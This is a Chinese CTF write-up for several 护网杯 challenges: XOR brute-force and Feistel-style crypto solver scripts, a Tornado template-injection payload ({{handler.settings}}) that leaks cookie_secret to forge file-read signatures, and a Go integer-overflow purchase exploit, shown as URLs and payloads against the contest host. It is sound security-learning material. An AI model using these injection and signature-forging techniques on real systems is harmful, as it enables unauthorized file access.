护网杯部分题目题解

前言

护网杯的这次比赛还是很有收获的,至少在web方面我认为是这样的,还是得继续努力吧。。。

正文

MISC

迟来的签到

AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs=
题目说要异或,那就直接爆破异或就好
写个小脚本就可以得到flag

import base64
 
a = "AAoHAR1UIFBSJFFQU1AjUVEjVidWUVJVJVZUIyUnI18jVFNXVRs="
a = base64.b64decode(a)
 
for i in range(128):
	s = ''
	for j in a:
		s  = s+chr(i^ord(j))
	if 'flag' in s:
		print s

Crypto

fez

这个题目是我队友做的。。。。赛后才学习的,看来密码学以后还得认真上课。。。。
Fez.log给出三条数据,第一条为test,第二条为test与k加密后的数据,第三条为flag与k加密后的数据
fez.py为加密算法,通过分析算法

护网杯部分题目题解_第1张图片

即a,b每一位进行异或运算
护网杯部分题目题解_第2张图片
Round函数将M左右部分互换,并对右部分进行异或运算得 R^L^k[i]
Fez函数即将k数组每个元素与m进行round运算
可得m为字符串分为m[0:27],m[27:54]两部分通过一步一步推算

m:  L + R
	R + a    a: L^R^k0
	a + b    b: L^k0^k1
	b +    c    c: R^k0^k1    
	c + d    d: L^k0^k2^k3
	d + e    e: L^k0^k1^k3^k4
	e + f    f: R^k1^k2^k4^k5
	f + g    g: L^R^k0^k1^k3^k5^k6

根据异或运算得特性
已知test(也就是L,R),fez(test,k)(也就是f,g),即可通过test与fez(test,k) 进行异或运算可得出 k0^k1^k3^k5^k6k1^k2^k4^k5
从而还原flag

import os
import binascii
def xor(a,b):
    assert len(a)==len(b)
    c=""
    for i in range(len(a)):
        c+=chr(ord(a[i])^ord(b[i]))
    return c
 
test = '50543fc0bca1bb4f21300f0074990f846a8009febded0b2198324c1b31d2e2563c908dcabbc461f194e70527e03a807e9a478f9a56f7'
test = binascii.a2b_hex(test)
test_k = '66bbd551d9847c1a10755987b43f8b214ee9c6ec2949eef01321b0bc42cffce6bdbd604924e5cbd99b7c56cf461561186921087fa1e9'
test_k = binascii.a2b_hex(test_k)
m_k = '44fc6f82bdd0dff9aca3e0e82cbb9d6683516524c245494b89c272a83d2b88452ec0bfa0a73ffb42e304fe3748896111b9bdf4171903'
m_k = binascii.a2b_hex(m_k)
 
l = test[0:27]
r = test[27:54]
l1 = test_k[0:27]
r1 = test_k[27:54]
l2 = m_k[0:27]
r2 = m_k[27:54]
 
c = xor(xor(l,r),r1)
Lr = xor(c,r2)
d = xor(r,l1)
R = xor(d,l2)
L = xor(Lr,R)
m = L+R  
print m

护网杯部分题目题解_第3张图片

Web

这里的web题目是我趁着题目还没关的时候赶紧复现的(不会做后面弄懂也是学习的方法呀23333),感谢一叶飘零学长的帮助哇。。。。

easy tornado

这个题目上来每个选项url就很可疑

http://49.4.95.5:31792/file?filename=Orz.txt&signature=d227ce6c7cea5a9cd7f1721e0baace7d
Orz.txt
render() 

http://49.4.95.5:31792/file?filename=hint.txt&signature=c7b8660e245f1360c378db1074a2a4c7
hint.txt
md5(cookie_secret + md5(filename)) 

http://49.4.95.5:31792/file?filename=flag.txt&signature=d24b2dc1952a495057af1a898c55931b
flag.txt
/fllllllllllag 

很明显是去读文件/fllllllllllag ,并且要带上签名,一开始我做这个题的时候还以为强行爆破一波secret。。。还一度认为是Hash长度拓展攻击。。。。尴尬

关键点在于cookie_secret

当我们随便输入东西的时候会出现一个报错页面
护网杯部分题目题解_第4张图片

这个页面过滤了很多东西,并且返回Orz

输入
http://49.4.95.5:31792/error?msg={{1^0}}
护网杯部分题目题解_第5张图片
这里的话飘零大佬说可以进行模板注入,并且只能读一个变量
接下来的思路才是骚,直接阅读tornado的源码
https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

handler.settings 里面存在cookie_secret这东西

读取一下
http://49.4.95.5:31792/error?msg={{handler.settings}}这里的{{}}具有渲染模板的功能

Whoops, looks like somethings went wrong . 
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': 'B3}r8at^62-?kGW&T+(7P4uQ0UVXDOiFb', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'} 

可以把里面的内容给读出来,以后还是得对python的MVC架构学习一下才行。。

立即构造签名

 

echo md5('B3}r8at^62-?kGW&T+(7P4uQ0UVXDOiFb'.md5('/fllllllllllag')) ;

?>

http://49.4.95.5:31792/file?filename=/fllllllllllag&signature=3e9f949b7c37c999287eb096f576be00

得到flag
护网杯部分题目题解_第6张图片

ltshop

这个题目一开始我一直以为是前端的ajax的操作问题,直到看了飘零大哥的wp才知道有两种思路,一种是条件竞争,但条件竞争好像还是有上限的,开个多线程跑一下,这也是为了后面的怪异的9999999做铺垫,因为你没有5个以上的大辣条是换不了辣条之王的。
护网杯部分题目题解_第7张图片
然后就会发现辣条数目几变成7个
护网杯部分题目题解_第8张图片

下面才是重点,因为这里是用的是Go语言,很可能存在整数溢出,可以参考一下这篇文章
http://www.it1352.com/808569.html

go语言整数溢出为18446744073709551615,然后可以计算number=(18446744073709551615/5)+1=3689348814741910324,然后我们可以直接溢出获得flag
下面这篇博客对于溢出过大有更深的理解:
https://qingchenldl.github.io/2018/10/13/护网杯WP-BitPwn/?tdsourcetag=s_pctim_aiomsg

护网杯部分题目题解_第9张图片

还有一道题目是关于Laravel框架的解题过程,也是秀,知识点也很多,建议去看看一叶飘零学长的博客啦。

结语

这比赛又学到了不少的东西,果然python开发出来的web框架还是自己的弱项,条件竞争这东西看来现在比赛都很流行呢,可惜自己对这方面的做题敏感度不够,以前一直认为这只有安恒的月赛才会出,以后还是得接触pwn了,继续努力。。。。。

你可能感兴趣的:(Web,CTF)